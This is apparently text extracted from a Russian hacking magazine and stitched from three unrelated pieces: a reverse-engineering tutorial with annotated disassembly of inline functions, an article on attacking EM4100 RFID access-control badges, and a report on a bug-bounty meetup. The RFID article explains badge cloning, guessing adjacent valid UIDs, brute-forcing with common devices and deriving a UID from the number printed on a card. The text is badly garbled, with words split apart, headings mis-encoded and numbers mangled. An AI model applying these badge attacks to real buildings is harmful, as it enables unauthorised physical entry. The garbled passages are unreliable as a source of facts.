.text:0000000140001000; Полученные аргументы помещаются 

.text:0000000140001000; в локальные переменные. 

.text:0000000140001000                 mov     [rsp+arg_8], rdx 

.text:0000000140001005                 mov     [rsp+arg_0], ecx 

.text:0000000140001009                 sub     rsp, 28h 

.text:0000000140001009; Аргументы помещаются в регистры EDX, ECX, 

.text:0000000140001009; что говорит нам об их подготовке 

.text:
0000000140001009; к передаче в качестве параметров другой функции. 
.text:000000014000100D                 mov     edx, 777h 
.text:0000000140001012                 mov     ecx, 666h 
.text:0000000140001012; Вызов сравнивающей функции. 
.text:0000000140001017                 call    sub_140001070 
.text:000000014000101C                 mov     edx, eax 
.text:000000014000101C; Возвращенный предыдущей функцией результат 
.text:000000014000101C; передаем функции printf вместе с форматной 
.text:000000014000101C; строкой. 
.text:000000014000101E                 lea     rcx, Format     ; "%x\
n" 
.text:000000014000101E; Вызов функции вывода значений на экран. 
.text:0000000140001025                 call    printf 
.text:0000000140001025; История повторяется, происходит подготовка 
.text:0000000140001025; параметров для вызова функции. 
.text:000000014000102A                 mov     edx, [rsp+28h+arg_0] 
.text:000000014000102E                 mov     ecx, 666h 
.text:000000014000102E; Вызов «встраиваемой» функции max, 
.text:000000014000102E; но, как мы видим, встраиваемой она не стала. 
.text:0000000140001033                 call    sub_140001070 
.text:0000000140001033; Первый параметр для printf — возвращенное 
.text:0000000140001033; max число, второй параметр — форматная 
.text:0000000140001033; строка. 
.text:0000000140001038                 mov     edx, eax 
.text:000000014000103A              lea     rcx, asc_140016324 ; "%x\
n" 
.text:000000014000103A; Выводим параметры на экран посредством 
printf. 
.text:0000000140001041                 call    printf 
.text:0000000140001041; Подготовка параметров для вызова функции max. 
.text:0000000140001046                 mov     edx, [rsp+28h+arg_0] 
.text:000000014000104A                 mov     ecx, 666h 
.text:000000014000104A; Вызов функции max. 
.text:000000014000104F                 call    sub_140001070 
.text:0000000140001054                 mov     edx, eax 
.text:0000000140001056              lea     rcx, asc_140016328 ; "%x\
n" 
.text:0000000140001056; Вывод результата на экран.
.text:000000014000105D                 call    printf 
.text:0000000140001062                 xor     eax, eax 
.text:0000000140001064                 add     rsp, 28h 
.text:0000000140001068                 retn 
.text:0000000140001068 main            endp 

«Так-так», — шеп чем себе под нос. И что же он тут наком пилиро вал? Встра- 
иваемую фун кцию пред ста вил в виде обыч ной! Вот дела! Ком пилятор забил
на наше желание сде лать фун кцию встра иваемой (мы ведь написа ли
модифи катор ).inline

Си туацию не исправ ляет даже исполь зование парамет ров ком пилято ра: 

 или . Пер вый слу жит для отклю чения опти миза ции, вто рой — для соз- 

дания встра иваемых фун кций. Такими тем пами ком пилятор вско ре будет
генери ровать код, угод ный собс твен ным пред почте ниям или пред почте ниям
его раз работ чика, а не прог раммис та, его исполь зующе го!

/
Od /Oi

Ос таль ное ты можешь уви деть в ком мента риях к дизас сем бли рован ному
лис тингу. Срав нива ющая фун кция max в дизас сем бли рован ном виде будет
выг лядеть так:

.text:0000000140001070 sub_140001070   proc near 

.text:0000000140001070 

.text:0000000140001070 arg_0           = dword ptr  8 

.text:0000000140001070 arg_8           = dword ptr  10h 

.text:0000000140001070 

.text:0000000140001070                 mov     [rsp+arg_8], edx 

.text:0000000140001074                 mov     [rsp+arg_0], ecx 

.text:0000000140001078                 mov     eax, [rsp+arg_8]

.text:0000000140001078; Сравнение значений, переданных в параметрах. 

.text:000000014000107C                 cmp     [rsp+arg_0], eax 

.text:
000000014000107C; Если первый операнд меньше второго или равен ему, 
.text:000000014000107C; переходим на метку, где возвращается второй 
.text:000000014000107C; операнд. 
.text:0000000140001080                 jle     short loc_140001088 
.text:0000000140001080; В обратном случае возвращаем первый операнд. 
.text:0000000140001082                 mov     eax, [rsp+arg_0]
.text:0000000140001086                 jmp     short locret_14000108C 
.text:0000000140001088 ; -------------------------------------------- 
.text:0000000140001088 
.text:0000000140001088 loc_140001088: 
.text:0000000140001088                 mov     eax, [rsp+arg_8]
.text:000000014000108C 
.text:000000014000108C locret_14000108C: 
.text:000000014000108C                 retn 
.text:000000014000108C sub_140001070   endp 

Здесь тоже все важ ные фраг менты про ком менти рова ны.
На пос ледок пред лагаю откомпи лиро вать и рас смот реть сле дующий при- 

мер (Listing8). Он нем ного усложнен по срав нению с пре дыду щим, в нем
в качес тве одно го из зна чений для срав нения исполь зует ся аргу мент коман- 
дной стро ки, который пре обра зует ся из стро ки в чис ло и при выводе обратно.

#include <iostream>
#include <sstream>
#include <string>

  using namespace std;

// Встраиваемая функция нахождения максимума.
     inline string max(int a, int b)

{
            int val = (a > b) ? a : b;
    stringstream stream;
       // Преобразуем значение в hex-число.
         stream << "0x" << hex << val;
      string res = stream.str();
    return res;
}

    int main(int argc, char **argv)
{

     cout << max(0x666, 0x777) << endl;
   string par = argv[1];

 int val;
// Если впереди параметра есть символы '0x',
    if (par.substr(0, 2) == "0x")

// тогда это hex-число.
    val = stoi(argv[1], nullptr, 16);

else
// В ином случае это dec-число.

    val = stoi(argv[1], nullptr, 10);
     cout << max(0x666, val) << endl;
     cout << max(0x666, val) << endl;
 return 0;

}

VS Code

Сра зу в начале сво его выпол нения прог рамма вызыва ет встра иваемую фун- 
кцию, переда вая ей два шес тнад цатерич ных чис ла. В качес тве резуль тата
фун кция воз вра щает боль шее из них, пре обра зован ное в шес тнад цатерич- 
ный фор мат. Пос ле чего основная фун кция выводит его в кон соль.

Сле дующим дей стви ем прог рамма берет параметр коман дной стро ки.
Она раз лича ет чис ла двух фор матов: десятич ные и шес тнад цатерич ные,
опре деляя их по отсутс твию или наличию пре фик са . Два пос леду ющих

опе рато ра иден тичны, в них про исхо дят вызовы фун кции max, которой оба
раза переда ются оди нако вые парамет ры:  и параметр коман дной стро- 
ки, пре обра зован ный из стро ки в чис ло. Эти два пос ледова тель ных опе рато- 
ра, как и в прош лый раз, поз волят нам прос ледить вызовы фун кции.

0x

0x666

Вы вод при ложе ния

Вмес те с допол нитель ной фун кци ональ ностью соот ветс твен но уве личил ся
дизас сем блер ный лис тинг. Тем не менее суть про исхо дяще го не изме нилась.
Что бы не при водить его здесь (он занима ет реаль но мно го мес та), пред- 
лагаю тебе разоб рать ся с ним самос тоятель но.

ÂÛÂÎÄÛ

Те ма иден тифика ции клю чевых струк тур очень важ на, хотя бы потому, что
в сов ремен ных язы ках прог рамми рова ния этих струк тур великое мно жес тво.
И в сегод няшней статье мы толь ко начали рас смат ривать фун кции. Ведь, кро- 
ме при веден ных выше фун кций (обыч ных, голых, встра иваемых) и спо собов
их вызова (непос редс твен ный вызов, по ука зате лю, с ком плексным вычис- 
лени ем адре са), сущес тву ют так же вир туаль ные, биб лиотеч ные. Кро ме того,
к фун кци ям мож но отнести конс трук торы и дес трук торы. Но не будем
забегать впе ред.

Преж де чем перехо дить к методам объ ектов, ста тичес ким и вир туаль ным
фун кци ям, надо научить ся иден тифици ровать стар товые фун кции, которые
могут занимать зна читель ную часть дизас сем блер ного лис тинга, но ана лизи- 
ровать которые нет необ ходимос ти (за неболь шими исклю чени ями).
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ВЗЛОМ

Взлом элек трон ных тур никетов на вхо де
в зда ние — завет ный хакер ский флекс,
который так любят показы вать в кино.
В этой статье я рас ска жу о сис темах кон- 
тро ля и управле ния дос тупом (СКУД)
на осно ве RFID, и мы вмес те раз берем ся,
нас коль ко прос то под делать самый рас- 
простра нен ный иден тифика тор EM4100.

 (англ. ) — ком плекс обо рудо вания, пред назна чен ный
для огра ниче ния дос тупа на охра няемом объ екте. Минималь ная кон- 
фигура ция такой сис темы — это  элек трон ный замок на осно- 
ве RFID.

• ÑÊÓÄ PACS

бу хой вах тер

 — спо соб авто мати чес кой иден тифика ции объ ектов с помощью

ради осиг налов, хра нящих ся на тран спон дерах (RFID-мет ках).

• RFID

 — сбор ное устрой ство для хра нения информа ции, сос- 
тоящее из интеграль ной схе мы (чипа) для выпол нения опе раций с сиг- 
налом и информа цией, антенны для переда чи и при ема сиг нала и, опци- 
ональ но, батареи питания (не рас простра нено в пов седнев ном при мене- 
нии — дорого и избы точ но).

• RFID-ìåò êà

Бо лее под робную информа цию о RFID мож но най ти .в Википе дии

EM410X — край не популяр ная модель ная линей ка иден тифика торов, раз- 
работан ная ком пани ей EM Microelectronics. В пов седнев ной жиз ни они при- 
меня ются самыми раз ными спо соба ми: от исполь зования в СКУД государс- 
твен ных (и не толь ко) учрежде ний до мар киров ки и уче та живот ных.

Сю да вхо дят чипы с иден тифика тора ми EM4100, EM4102,
EM4105 и EM4200, которые раз лича ются объ емом памяти (от 64 до 128 бит)
и областью при мене ния.

Èäåí òèôèêà- 

òîð

Îáú åì

ïàìÿòè

Ðàç ìåð

UID

Ñôå ðà ïðè ìåíå- 

íèÿ

EM4100 64 бита 5 байт СКУД, логис тика

EM4102 64 бита 5 байт
Мар киров ка живот- 
ных

EM4105 128 бит 8 байт
Мар киров ка живот- 
ных

EM4200 128 бит 8 байт СКУД, логис тика

Фор маль но все эти иден тифика торы работа ют на час тоте 125 кГц, одна ко
могут исполь зовать диапа зон час тот 100–150 кГц.

На ибо лее широко исполь зуют ся (и прос ты в понима нии) иден тифика торы
EM4100, поэто му мы оста новим ся имен но на них.

ÊÀÊ ÓÑÒÐÎÅÍ EM4100?

Струк тура дан ных в иден тифика торе EM4100 выг лядит сле дующим обра зом.

Са мая важ ная для нас в этой схе ме груп па из голубых и синих битов, которые
вмес те сос тавля ют 5 байт (40 бит) и слу жат уни каль ным иден тифика цион ным
кодом RFID-мет ки.

На этом теоре тичес кая часть окон чена. Давай пос мотрим, как выг лядят
ата ки на подоб ные сис темы.

ÂÅÊÒÎÐÛ ÀÒÀÊ ÍÀ ÑÊÓÄ Ñ EM410X

Ни в одной из вари аций у EM410X нет крип тогра фии или какого-то дру гого
спо соба защиты. Поэто му все век торы атак, которые мне уда лось обна- 
ружить, свя заны либо с прин ципи аль ными недос татка ми самих иден тифика- 
торов, либо с их небезо пас ной экс плу ата цией.

В качес тве цели ата ки давай рас смот рим авто ном ную (не интегри рован- 
ную с про чими сис темами) СКУД с бес контак тны ми счи тыва теля ми.
Это самый прос той вари ант для понима ния и вос про изве дения ата ки.

Итак, наша цель — получе ние как минимум одно го пос тоян ного физичес- 
кого дос тупа в помеще ние, вход в которое огра ничен с исполь зовани ем этой
тех нологии.

Êîïèðîâàíèå îðèãèíàëüíîãî ïðîïóñêà
Пос коль ку EM410X не исполь зует никакой защиты переда ваемых дан ных, их
копиро вание не пред став ляет ни малей шей слож ности.

Я не буду здесь рас смат ривать получе ние валид ного про пус ка
для копиро вания, как и сам про цесс соз дания кло на. Все это может силь но
раз личать ся в кон крет ных слу чаях. Осо бо любопытс тву ющим могу пореко- 
мен довать гай ды от  и .Lab401 Dangerous Things

Од нако это слиш ком прос то, не прав да ли? Как нас чет того, что бы нем- 
ного рас ширить количес тво дос тупных нам валид ных про пус ков без получе- 
ния их ори гиналь ных физичес ких копий?

Ãåíåðàöèÿ íîâûõ UID íà îñíîâå ñóùåñòâóþùèõ
Пред ста вим, что у нас есть абс трак тная орга низа ция, СКУД в которой
исполь зует иден тифика торы EM4100. Ста нет ли она закупать каж дый из них
по отдель нос ти?

Зай дем с дру гой сто роны. Что будет про ще для спе циалис та, который нас- 
тра ивает сис тему: заносить каж дый иден тифика тор в базу по отдель нос ти
или зарегис три ровать их груп пой?

Ско рее все го, ты уже понял, к чему я пыта юсь тебя под вести. При извес- 
тном UID одно го из валид ных иден тифика торов с боль шой веро ятностью
«сосед ние» по зна чению UID-иден тифика торы тоже будут рас позна ны сис- 
темой как валид ные.

Рас смот рим при мер: у нас есть иден тифика тор с UID .

При уве личе нии (или умень шении) стар шего бай та мы дол жны получить так же
валид ное для сис темы зна чение иден тифика тора. Таким обра зом, сле- 
дующие UID будут иметь зна чения

12 00 EC DA A1

12 00 EC DA A2 
12 00 EC DA A3 
12 00 EC DA A4 
12 00 EC DA A5 
12 00 EC DA A6 
... 

Все они с высокой долей веро ятности будут валид ными.
Дей стви тель но ли это так? Не всег да. На прак тике в сис теме может

не быть каких-то иден тифика торов из спис ка или их мог ли заб локиро вать.
Про верить это мож но толь ко вжи вую на кон крет ном при мере, но раз ве это не
добав ляет в задачу нем ного здо рово го азар та?

Áðóòôîðñ çíà÷åíèé èäåíòèôèêàòîðîâ
При виде спис ка из пре дыду щего пун кта у тебя мог воз никнуть впол не логич- 
ный воп рос: воз можно, быс трее и надеж нее будет вос поль зовать ся брут- 
форсом? И дей стви тель но, это не худ ший вари ант, бла го для его реали зации
сущес тву ет мно жес тво удоб ных решений, таких как Flipper Zero, Proxmark III
и DIY на Arduino. Единс твен ный минус такого метода — сот рудни ки охра ны
явно не будут прос то сто ять и смот реть, как ты под носишь к счи тыва телю
стран ное устрой ство.

Кста ти, раз уж мы загово рили о методе гру бой силы, как нас чет пос читать
общее количес тво воз можных зна чений иден тифика торов? Если ты с ходу

отве тил: 256  вари антов, то мои поз драв ления!5

Хо тя, стоп... а всег да ли 256 ?5

Ïàðà ñëîâ î ñ÷èòûâàòåëÿõ
Мы пока что говори ли толь ко об иден тифика торах и тех проб лемах, которые
свя заны кон крет но с ними. Но как нас чет счи тыва телей иден тифика торов,
которые и «при нима ют решение», про пус кать то или иное лицо на охра- 
няемый объ ект?

Что ж, тут есть свои нюан сы. Хотя количес тво бай тов, сос тавля ющих UID
иден тифика тора, никог да не меня ется (их всег да пять), это не озна чает, что
все они будут исполь зовать ся для про вер ки валид ности.

Ве роят но, ты сей час не сов сем понима ешь, как такое воз можно. Что бы
вый ти из этой нелов кой ситу ации, советую про читать статью про  —
широко рас простра нен ный интерфейс свя зи меж ду устрой ством чте ния
иден тифика тора и кон трол лером.

Wiegand

Ес ли крат ко, то боль шинс тво «дешевых», а так же ста рых сис тем СКУД
исполь зуют Wiegand-26, который спо собен переда вать толь ко 24 бита дан- 
ных (и 2 бита чет ности), что, как ты понима ешь, сущес твен но сок раща ет рас- 

счи тан ный нами ранее пул воз можных зна чений иден тифика тора до 256 .3

Сог лашусь, это все еще мно го. Хотя есть один спо соб сок ратить их чис ло
до 256 либо отбро сить необ ходимость брут форса в целом...

Êîìïðîìåòàöèÿ çà îäíî ôîòî
Ни ког да не задумы вал ся, что за стран ные циф ры нанесе ны на твою RFID-кар- 
ту?

Ко неч но, они здесь не прос то так. На самом деле по фак ту эти циф ры явля- 
ются частью UID, но в  фор мате.де сятич ном

Рас смот рим при мер с этой кар ты:
 =  — 4 бай та UID;• 0008671306 0x0084504A

 =  — ID кли ента отдель но;• 132 0x84

 =  — 2 стар ших бай та отдель но.• 20554 0x504A

Ори гиналь ный UID иден тифика тора: .4E 00 84 50 4A

На всех иден тифика торах, которые мне уда лось
дос тать, вто рой байт всег да ока зывал ся нулевым.
Неиз вес тно, сов падение это или нег ласная
догово рен ность про изво дите лей.

По луча ется, час то все го по одной фотог рафии иден тифика тора мож но соз- 
дать его валид ную для про веря ющей сис темы копию либо понизить количес- 
тво переби раемых зна чений вплоть до 256 вари антов. Неп лохо, прав да?

ÌÅÒÎÄÛ ÇÀÙÈÒÛ

Те перь, ког да ты узнал о воз можных век торах атак на СКУД, у тебя навер няка
воз ник воп рос: мож но ли защитить ся от рас смот ренных выше атак
или хотя бы смяг чить их пос ледс твия?

И да, и нет. Нес мотря на то что про изво дите ли таких сис тем 
 выяв ления «кло нов», внед рение допол нитель ных сис тем про- 

вер ки иден тифика торов нецеле сооб разно, и наибо лее прос тым решени ем
будет перей ти на Mifare 1k — не менее популяр ные иден тифика торы, но уже
с под дер жкой крип тогра фии, которые мы рас смот рим в сле дующей статье.

раз рабаты- 
вали спо собы

mailto:filexploit@gmail.com
https://ru.wikipedia.org/wiki/RFID
https://lab401.com/
https://dangerousthings.com/
https://ru.wikipedia.org/wiki/%D0%92%D0%B8%D0%B3%D0%B0%D0%BD%D0%B4_(%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81)
https://github.com/Proxmark/proxmark3/blob/master/client/cmdlfem4x.c
http://em410x_clone_detection.pdf/
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ВЗЛОМ

Тре тий митап Standoff Talks сос тоял- 
ся 14 мая 2023 года в лоф те «Вес на», тема
встре чи на этот раз была одна — баг баун- 
ти. Теп лым вос крес ным днем баг ханте ры
и дер жатели ББ-прог рамм соб рались
под кры шей уют ного лоф та, что бы
поделить ся сво им опы том друг с дру гом,
пре рыва ясь на при ват ные беседы и не
забывая бод рить ся кофе. Основной частью
митапа были док лады.

 — воз награж дение, в нашем кон тек сте — за най ден ные уяз- 

вимос ти.

• Áà óíòè

 — этич ный хакер, иссле дова тель безопас ности, выяв ляющий
ошиб ки и уяз вимос ти (не всег да работая за наг раду).

• Áàã õàíòåð

 — ком плекс мер, поз воля ющий прив лекать баг- 

ханте ров для тес тирова ния ПО, сер виса или про дук та.

• Ïðîã ðàììà áàã áàóí òè

 — ком пания, запус тившая свою баг баун- 
ти-прог рамму.

• Õîë äåð ÁÁ ïðîã ðàììû

 — про цесс рас смот рения отче та, про вер ки уяз вимос тей и при- 

нятия решений о даль нейших дей стви ях, в том чис ле о вып лате баун ти.

• Òðè àæ

1. ÁÀÃÁÀÓÍÒÈ È WORDPRESS: ÈÑÒÎÐÈß ÎÄÍÎÉ ÏÐÎÃÐÀÌÌÛ
ÁÀÃÁÀÓÍÒÈ ÑÍÀÐÓÆÈ È ÈÇÍÓÒÐÈ

• Äîê ëàä÷èê: Âëàä FearZzZz

• Çà ïèñü äîê ëàäà

Мне повез ло выс тупить пер вым на этом митапе, сра зу пос ле корот кого всту- 
питель ного сло ва от орга низа торов.

Я рас ска зал слу шате лям о сво ем опы те иссле дова ния эко сис темы
WordPress и о том, как меня сна чала приг ласили в зак рытую баг баун ти-прог- 
рамму, а пол года спус тя — уже в коман ду орга низа тора этой прог раммы
на роль иссле дова теля безопас ности.

В мае 2023-го, что сим волич но, WordPress исполни лось двад цать лет.
Было инте рес но под вести некото рый про межу точ ный итог и пере осмыслить
дос тижения и акту аль ное сос тояние, преж де все го воп росов безопас ности
этой сис темы. Вне вся ких сом нений, это самый популяр ный дви жок на рын ке,
и он весь ма безопа сен, если говорить имен но о ядре — WordPress Core.
А вот с баг баун ти у WordPress не все радуж но.

Не сек рет, что у WordPress есть сра зу две офи циаль ные ББ-прог раммы
на HackerOne:  и . Ско уп при лич ный, но пок рыва ет он
толь ко сер висы и пла гины ком пании, а так же само ядро движ ка. Вып латы
скром ные: не встре чал наг рад выше 800 дол ларов США, и это за кри тичес кую
уяз вимость.

WordPress Automattic

Не офи циаль ные баг баун ти-прог раммы тоже сущес тву ют, но пох вастать ся
извес тностью или боль шим ско упом не может ни одна из них. Исклю чени ем
мож но наз вать раз ве что  — там пла тят бод рее, чем в офи циаль ной
баг баун ти-прог рамме WordPress (нап ример, вып латили 4000 дол ларов
за ).

Elementor

при коль ную XSS
Слу чает ся, что из-за скром ных вып лат иссле дова тели начина ют при мерять

на себя «чер ную шля пу» и про дают уяз вимос ти на сто рону либо занима ются
взло мом на заказ. В день гах это получа ется гораз до выгод нее, хотя и край не
рис кован но, пос коль ку может пов лечь пос ледс твия юри дичес кого харак тера.
Я, естес твен но, при зываю всех работать легаль но и сда вать баги вен дору.

За тем я рас ска зал о ком пании Patchstack, которая в 2021 году запус тила
уни каль ную зак рытую ББ-прог рамму для уяз вимос тей в WordPress. В чем зак- 
лючалась новиз на это го решения?

Во-пер вых, при нима лись баги как в ядре движ ка, так и в пла гинах и темах,
при чем и бес плат ных, и пре миум. Во-вто рых, попасть в эту ББ-прог рамму
мож но было толь ко по приг лашению и имея под твержден ные уяз вимос ти, то
есть нович ков сре ди учас тни ков не было. Тре тий момент — воз можность экс- 
плу ата ции недора ботан ных пра вил прог раммы, чем я сра зу и занял ся и что
давало воз можность на про тяже нии пяти месяцев оста вать ся на пер вом при- 
зовом мес те. На шес той месяц я уже получил приг лашение в коман ду
Patchstack, и это откры ло путь к совер шенно новому опы ту в моей жиз ни.

Вто рую часть док лада я уже читал с позиции сот рудни ка ком пании и три- 
аже ра, рас ска зывая об оче вид ных проб лемах и их решени ях. Завер шил док- 
лад совета ми, которые при годят ся баг ханте рам и три аже рам. Клю чевая
рекомен дация — совер шенс тво вать ком муника цион ные скил лы и общать ся
конс трук тивно и ува житель но. Эту же мысль, кста ти, в пос леду ющих док ладах
неод нократ но озву чива ли кол леги, что явно намека ет на ее акту аль ность.

2. ÈÇ ÁÀÃÁÀÓÍÒÈ Â ÏÅÍÒÅÑÒÛ È ÎÁÐÀÒÍÎ

• Äîê ëàä÷èê: Àëåê ñåé Òîìèëîâ

• Çà ïèñü äîê ëàäà

Алек сей — опыт ный пен тестер и баг хантер «ста рой шко лы», начав ший охо ту
за багами еще в кон це нулевых. Напом ню, что в те годы никаких ББ-прог- 
рамм, в общем-то, и не сущес тво вало, так что при ходи лось дей ство вать
на свой страх и риск. Как это было рань ше: находишь уяз вимость, а потом
штур муешь ком панию со всех сто рон — от фор мы обратной свя зи и тех- 
ничес кой под дер жки до звон ков по всем ука зан ным номерам телефо нов.
Не сек рет, что боль шая часть таких обра щений ухо дит в /dev/null/ с подачи
сот рудни ков ком пании, и эта зна комая сер дцу баг ханте ра тра диция бла гопо- 
луч но дожила до наших дней в пер воздан ном виде.

За тем Алек сей рас ска зал об инте рес ном слу чае из лич ной прак тики, ког да
он передал ком пании информа цию о най ден ной SQL-инъ екции, а год спус тя
слу чай но обна ружил, что сот рудник тех ничес кой под дер жки тог да прис воил
наход ку себе. И даже получил от началь ства пре мию за бди тель ность и вне- 
зап но открыв шиеся навыки безопас ника. Ситу ация неп рият ная, но это опыт.
Всег да нуж но уста нав ливать связь с лицами, при нима ющи ми решения.

Сле дующий при мер из прак тики — клас сичес кий IDOR (сок ращен но
от Insecure Direct Object References — небезо пас ная пря мая ссыл ка на объ-
ект), поз воляв ший под гля дывать за чужими тран закци ями на сай те ком пании
«Кре дитэкс пресс Финанс». Алек сею открыл ся вагон пер сональ ных дан ных,
не пред назна чен ных для глаз треть их лиц. Но за пол года не уда лось рас- 
качать сот рудни ков ком пании и добить ся адек ватной реак ции. Ито гом про- 
тивос тояния стал опуб ликован ный на «Хаб ре» матери ал, рас кры вающий
детали выяв ленной уяз вимос ти, с не менее инте рес ными пос ледс тви ями.
Какими имен но? Смот ри док лад, и узна ешь сам! :)

Наб равшись опы та, Алек сей перек лючил ся на цели пок рупнее: сна чала
Яндекс (у них есть ), затем плат форма ,
на которой иссле дова тель отта чивал навыки, находя баги для British Airways
и Booking.com. Это инте рес ные кей сы, хотя каж дый раз с печаль ной кон- 
цовкой: все уси лия не при вели к дол гождан ным воз награж дени ям даже
при наличии PoC-видео и допол нитель ной информа ции. Проб лема ком- 
муника ции? Впол не воз можно, но про дол жать работу Алек сей пред почел уже
в области пен тестов. По сло вам Алек сея, опыт баг хантин га очень при годил ся
при пен тестах.

своя ББ-прог рамма HackerOne

3. ÎÏÛÒ Ó×ÀÑÒÈß Â ÁÀÃÁÀÓÍÒÈ ßÍÄÅÊÑÀ

• Äîê ëàä÷èê: Ìàê ñèì Áðà ãèí

• Çà ïèñü äîê ëàäà

Мак сим — баг хантер и ведущий пен тестер в Singleton Security. В сво ем док- 
ладе он показал ста тис тику сво их набегов на ББ-прог рамму Яндекса
за 2022 год, поделил ся вывода ми и рас ска зал про спо собы авто мати зации
охо ты за багами.

По сло вам Мак сима, у Яндекса огромное количес тво целей для иссле- 
дова ния. Сер висов и при ложе ний столь ко, что есть где раз вернуть ся!

Дру гой плюс этой ББ-прог раммы — воз можность сов мещать при ятное
с полез ным, ведь ты тес тиру ешь те сер висы, которы ми поль зуешь ся сам едва
ли не ежед невно. Менее оче вид ное дос тоинс тво широко го ско упа — низ кая
кон курен ция.

Без минусов тоже не обош лось, и док ладчик выделил три основных: проб- 
лемы с SLA (извес тная проб лема), ощу щение недо оце нен ности обна ружен- 
ных уяз вимос тей и неп розрач ная сис тема воз награж дений. Инте рес ный
нюанс, который Яндекс ниг де не обоз начил: все хос ты и сер висы внут ри ком- 
пании раз делены на уров ни по сте пени кри тич ности, в то вре мя как вып латы
на сай те обоз начены в виде обще го диапа зона. То есть у баг ханте ра никог да
нет чет кого понима ния того, сколь ко будет сто ить най ден ная уяз вимость.
Отме чу, что в док ладе Ива на Чалыки на (сле дующий в спис ке) мы узна ем,
почему так выш ло.

Мак сим показал наг лядный гра фик сво ей работы в этой ББ-прог рамме,
на котором вид но, что все го за 2022 год он отпра вил в ком панию 46 отче тов
о най ден ных уяз вимос тях, но толь ко 27 из них были при няты и опла чены.
Осталь ные помече ны как дуб ликаты или N/A — нерабо чие уяз вимос ти. Как бы
то ни было, свой вклад в безопас ность сер висов и при ложе ний Яндекса Мак- 
сим точ но сде лал, и это кру то!

Уяз вимость получа ет ста тус N/A («не при мени- 
мо»), то есть баг не под ходит по пра вилам
ББ-прог раммы. Из неп рият ных еще быва ют ста- 
тусы duplicate, ког да уяз вимость уже най дена
дру гим баг ханте ром, и informative, ког да баг при- 
няли к све дению, но пос читали недос таточ но
важ ным для вып латы баун ти.

Кста ти, об уяз вимос тях. Док ладчик любез но под све тил зри телям три наибо- 
лее час то встре чающих ся типа уяз вимос тей: IDOR, рас кры тие чувс тви тель ной
информа ции и XSS. Не ска зать, что это неожи дан ность, но полез но лиш ний
раз убе дить ся.

Пос ле это го Мак сим рас ска зал об авто мати зации, ее плю сах и спо собах
реали зации. Так, баг хантер обя зан взять на воору жение пос тоян ную раз- 
ведку: выяв ление новых доменов, сер висов, при ложе ний и тому подоб ных
вещей. Вто рое пра вило — отсле живать изме нения в самих веб-при ложе ниях,
и тут пре иму щес тво у тех, кто успешно прак тику ет пре дыду щий шаг. Третье,
что посове товал док ладчик, — исполь зовать ска нер Nuclei, поз воля ющий
авто мати зиро вать ряд про цес сов.

Мак сим обоз начил три глав ных вывода:
в 2023 году раз ведка акту аль на и явля ется хорошей инвести цией вре мени
баг ханте ра;

•

оку пают ся все финан совые вло жения в плат ные сер висы, нуж ные
для работы (необ ходимость пла тить час то отпу гива ет баг ханте ров);

•

ис сле дова ние проб лем кон тро ля дос тупа — отличное вло жение сил и вре- 
мени.

•

В кон це док лада Мак сим рас ска зал о нес коль ких инте рес ных кей сах из сво- 
его опы та. В общем, рекомен дую пос лушать, осо бен но полез но это будет
нович кам.

4. ×ÒÎ ÏÎÄ ÊÀÏÎÒÎÌ Ó «ÎÕÎÒÛ ÇÀ ÎØÈÁÊÀÌÈ»

• Äîê ëàä÷èê: Èâàí ×àëûêèí

• Çà ïèñü äîê ëàäà

Пер вый док лад от пред ста вите ля ком пании, име ющей свою ББ-прог рамму.
Для меня он про яснил ряд важ ных и инте рес ных нюан сов.

В прош лом Иван — пен тестер, баг хантер, а ныне — тим лид одной
из команд Яндекс Мар кета. В сво ем док ладе он дос тупно рас ска зал
о ББ-прог рамме Мар кета, о том, что про исхо дит пос ле сда чи отче та иссле- 
дова телем и какие внут ренние эта пы про ходит при нятый отчет. Так же Иван,
соп ровож дая повес тво вание ста тис тикой, посове товал, что нуж но, а что
не нуж но делать.

У Яндекса боль ше 100 сер висов, и у самых круп ных про ектов есть свои
коман ды безопас ников. Ради поряд ка и ясности про цес сов очень важ но нап- 
равлять отче ты в нуж ные отде лы, сер висы и коман ды. Начина ется все с фор- 
мы сда чи отче та, которую Иван нас тоятель но рекомен дует запол нять толь ко
акту аль ными дан ными, воз держи ваясь от все воз можных шуток.

Пос ле отправ ки дан ных через фор му отчет на сто роне ком пании прев- 
раща ется в тикет, пос ле чего три ажер дол жен про верить, дей стви тель но ли
это отчет о най ден ной уяз вимос ти или прос то опи сание бага. Так же про веря- 
ется наличие PoC. Такие про вер ки нуж ны из-за неак курат ности иссле дова- 
телей и спеш ки, и, конеч но, они соз дают опре делен ную наг рузку на ком- 
панию.

Сле дующий этап — три аж, соп ровож даемый про вер кой пре дос тавлен ных
дан ных на акту аль ность и новиз ну. Судя по тому, что Иван зат ронул воп рос
проз рачнос ти этих про цес сов, в ком пании зна ют о том, что здесь тре буют ся
улуч шения, и ста рают ся учи тывать позицию и резон ные ожи дания иссле дова- 
телей.

За тем оце нива ется импакт уяз вимос ти. Сот рудни ки Яндекса дела ют пред- 
положе ния о дей стви ях зло умыш ленни ка при наихуд шем сце нарии. На этом
эта пе при необ ходимос ти ини циируют ся допол нитель ные про вер ки внут ри
ком пании, и на это тоже ухо дит вре мя.

Даль ше — опре деле ние раз мера воз награж дения. Как говорил в сво ем
док ладе Мак сим Бра гин, тут проз рачнос ти очень не хва тает. Пред полага ется,
что клю чевые сер висы ком пании при носят боль ше денег баг ханте ру,
но искать уяз вимос ти в них все слож нее и слож нее. В то вре мя как менее
популяр ные и новые сер висы ско рее подой дут нович кам — находить уяз- 
вимос ти в них лег че, но и вып латы будут скром нее. Логич но? Логич но.

Са мый зат ратный по вре мени этап — это работа бух галте рии. Тут нуж но
мно жес тво внут ренних про верок, а иног да допол нитель ных дей ствий. Мне
запом нился слайд, схе матич но иллюс три рующий этот про цесс, — зре лище
впе чат ляющее.

Сле дом Иван перешел к советам для баг ханте ров. Пер вый — работать
над качес твом отче тов. Все прос то: чем качес твен нее написан отчет, тем
быс трее его раз берут и обра бота ют три аже ры. Важ ны все детали: как баг- 
хантер при шел к этой уяз вимос ти, как она сра бота ла, какие нуж ны шаги
для вос про изве дения, какие зап росы нуж но отправ лять. Да и PoC-видео лиш- 
ним точ но не будет.

Сле дующий совет — пов торно про верять те же уяз вимос ти через пару
месяцев на слу чай, если в ком пании забыли что-то испра вить или слу чай но
оста вили воз можность обой ти пат чи и про экс плу ати ровать уяз вимость слег ка
ина че. Так мож но лег ко получить еще одно воз награж дение.

Иван под чер кнул, что Яндекс не эко номит на вып латах иссле дова телям
и ком пания рада пла тить хорошие день ги за уяз вимос ти. Как ты понял,
